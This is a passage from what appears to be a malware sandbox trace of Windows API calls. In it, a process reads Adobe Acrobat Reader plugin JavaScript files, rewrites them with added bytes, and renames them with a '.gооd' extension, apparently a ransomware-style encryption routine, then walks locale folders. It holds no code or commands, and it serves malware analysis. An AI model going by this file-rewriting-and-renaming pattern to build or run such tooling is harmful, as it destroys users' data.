dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\plugin.js"), fInfoLevelId=0x0, lpFileInformation=0x3cf5350 | out: lpFileInformation=0x3cf5350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2f1b)) returned 1 [0244.351] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed710) returned 1 [0244.351] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\plugin.js", nBufferLength=0x105, lpBuffer=0x202ed130, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\plugin.js", lpFilePart=0x0) returned 0x77 [0244.352] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed650) returned 1 [0244.352] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\plugin.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\plugin.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0244.352] GetFileType (hFile=0x828) returned 0x1 [0244.352] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed5c0) returned 1 [0244.352] GetFileType (hFile=0x828) returned 0x1 [0244.352] SetFilePointer (in: hFile=0x828, lDistanceToMove=4096, lpDistanceToMoveHigh=0x202ed7a8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x202ed7a8*=0) returned 0x1000 [0244.352] ReadFile (in: hFile=0x828, lpBuffer=0x3cf5818, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ed778, lpOverlapped=0x0 | out: lpBuffer=0x3cf5818*, lpNumberOfBytesRead=0x202ed778*=0x1000, lpOverlapped=0x0) returned 1 [0244.353] CloseHandle (hObject=0x828) returned 1 [0244.353] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\plugin.js", nBufferLength=0x105, lpBuffer=0x202ed130, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\plugin.js", lpFilePart=0x0) returned 0x77 [0244.353] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed650) returned 1 [0244.353] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\plugin.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\plugin.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0244.353] GetFileType (hFile=0x828) returned 0x1 [0244.353] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed5c0) returned 1 [0244.353] GetFileType (hFile=0x828) returned 0x1 [0244.353] SetFilePointer (in: hFile=0x828, lDistanceToMove=0, lpDistanceToMoveHigh=0x202ed7a8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x202ed7a8*=0) returned 0x2f1b [0244.354] WriteFile (in: hFile=0x828, lpBuffer=0x3cf6f60*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x202ed698, lpOverlapped=0x0 | out: lpBuffer=0x3cf6f60*, lpNumberOfBytesWritten=0x202ed698*=0x10, lpOverlapped=0x0) returned 1 [0244.354] CloseHandle (hObject=0x828) returned 1 [0244.355] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\plugin.js", nBufferLength=0x105, lpBuffer=0x202ed130, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\plugin.js", lpFilePart=0x0) returned 0x77 [0244.355] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed650) returned 1 [0244.355] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\plugin.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\plugin.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0244.355] GetFileType (hFile=0x828) returned 0x1 [0244.355] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed5c0) returned 1 [0244.355] GetFileType (hFile=0x828) returned 0x1 [0244.355] ReadFile (in: hFile=0x828, lpBuffer=0x3cf92a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ed728, lpOverlapped=0x0 | out: lpBuffer=0x3cf92a8*, lpNumberOfBytesRead=0x202ed728*=0x1000, lpOverlapped=0x0) returned 1 [0244.383] CloseHandle (hObject=0x828) returned 1 [0244.383] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\plugin.js", nBufferLength=0x105, lpBuffer=0x202ed130, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\plugin.js", lpFilePart=0x0) returned 0x77 [0244.383] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed650) returned 1 [0244.383] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\plugin.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\plugin.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0244.383] GetFileType (hFile=0x828) returned 0x1 [0244.383] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed5c0) returned 1 [0244.383] GetFileType (hFile=0x828) returned 0x1 [0244.383] WriteFile (in: hFile=0x828, lpBuffer=0x3cf7fa8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x202ed7d8, lpOverlapped=0x0 | out: lpBuffer=0x3cf7fa8*, lpNumberOfBytesWritten=0x202ed7d8*=0x1010, lpOverlapped=0x0) returned 1 [0244.384] CloseHandle (hObject=0x828) returned 1 [0244.384] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\plugin.js", nBufferLength=0x105, lpBuffer=0x202ed280, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\plugin.js", lpFilePart=0x0) returned 0x77 [0244.384] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\plugin.js.gоod", nBufferLength=0x105, lpBuffer=0x202ed280, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\plugin.js.gоod", lpFilePart=0x0) returned 0x7c [0244.384] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed710) returned 1 [0244.384] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\plugin.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\plugin.js"), fInfoLevelId=0x0, lpFileInformation=0x202ed7f0 | out: lpFileInformation=0x202ed7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x8de06627, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2f2b)) returned 1 [0244.384] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed6d0) returned 1 [0244.384] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\plugin.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\plugin.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\plugin.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\plugin.js.gоod")) returned 1 [0244.385] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\selector.js", nBufferLength=0x105, lpBuffer=0x202ed280, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\selector.js", lpFilePart=0x0) returned 0x79 [0244.385] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed750) returned 1 [0244.385] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\selector.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\selector.js"), fInfoLevelId=0x0, lpFileInformation=0x3d75860 | out: lpFileInformation=0x3d75860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x9ce)) returned 1 [0244.440] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed710) returned 1 [0244.885] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\selector.js", nBufferLength=0x105, lpBuffer=0x202ed0e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\selector.js", lpFilePart=0x0) returned 0x79 [0244.887] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed600) returned 1 [0244.907] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\selector.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\selector.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0244.907] GetFileType (hFile=0x82c) returned 0x1 [0244.907] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed570) returned 1 [0244.907] GetFileType (hFile=0x82c) returned 0x1 [0244.907] GetFileSize (in: hFile=0x82c, lpFileSizeHigh=0x202ed7a8 | out: lpFileSizeHigh=0x202ed7a8*=0x0) returned 0x9ce [0244.907] ReadFile (in: hFile=0x82c, lpBuffer=0x3b2a3f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ed6d8, lpOverlapped=0x0 | out: lpBuffer=0x3b2a3f0*, lpNumberOfBytesRead=0x202ed6d8*=0x9ce, lpOverlapped=0x0) returned 1 [0245.021] CloseHandle (hObject=0x82c) returned 1 [0245.055] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\selector.js", nBufferLength=0x105, lpBuffer=0x202ed0e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\selector.js", lpFilePart=0x0) returned 0x79 [0245.055] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed600) returned 1 [0245.055] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\selector.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\selector.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0245.056] GetFileType (hFile=0x82c) returned 0x1 [0245.056] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed570) returned 1 [0245.056] GetFileType (hFile=0x82c) returned 0x1 [0245.056] WriteFile (in: hFile=0x82c, lpBuffer=0x3d20cd8*, nNumberOfBytesToWrite=0x9d0, lpNumberOfBytesWritten=0x202ed5e8, lpOverlapped=0x0 | out: lpBuffer=0x3d20cd8*, lpNumberOfBytesWritten=0x202ed5e8*=0x9d0, lpOverlapped=0x0) returned 1 [0245.056] CloseHandle (hObject=0x82c) returned 1 [0245.056] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\selector.js", nBufferLength=0x105, lpBuffer=0x202ed280, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\selector.js", lpFilePart=0x0) returned 0x79 [0245.056] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\selector.js.gоod", nBufferLength=0x105, lpBuffer=0x202ed280, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\selector.js.gоod", lpFilePart=0x0) returned 0x7e [0245.057] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed710) returned 1 [0245.057] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\selector.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\selector.js"), fInfoLevelId=0x0, lpFileInformation=0x202ed7f0 | out: lpFileInformation=0x202ed7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x8e46eb6b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x9d0)) returned 1 [0245.057] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed6d0) returned 1 [0245.057] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\selector.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\selector.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\selector.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\selector.js.gоod")) returned 1 [0245.058] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ecf70) returned 1 [0245.058] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls", nBufferLength=0x105, lpBuffer=0x202eca10, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls", lpFilePart=0x0) returned 0x71 [0245.058] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\*", lpFindFileData=0x202ecc90 | out: lpFindFileData=0x202ecc90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134abc0 [0245.188] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.189] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar-ae", cAlternateFileName="")) returned 1 [0245.189] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1 [0245.189] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1 [0245.189] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1 [0245.189] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1 [0245.189] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1 [0245.190] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1 [0245.190] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1 [0245.190] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1 [0245.190] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1 [0245.190] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0245.190] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0245.190] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1 [0245.191] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1 [0245.191] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1 [0245.191] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, 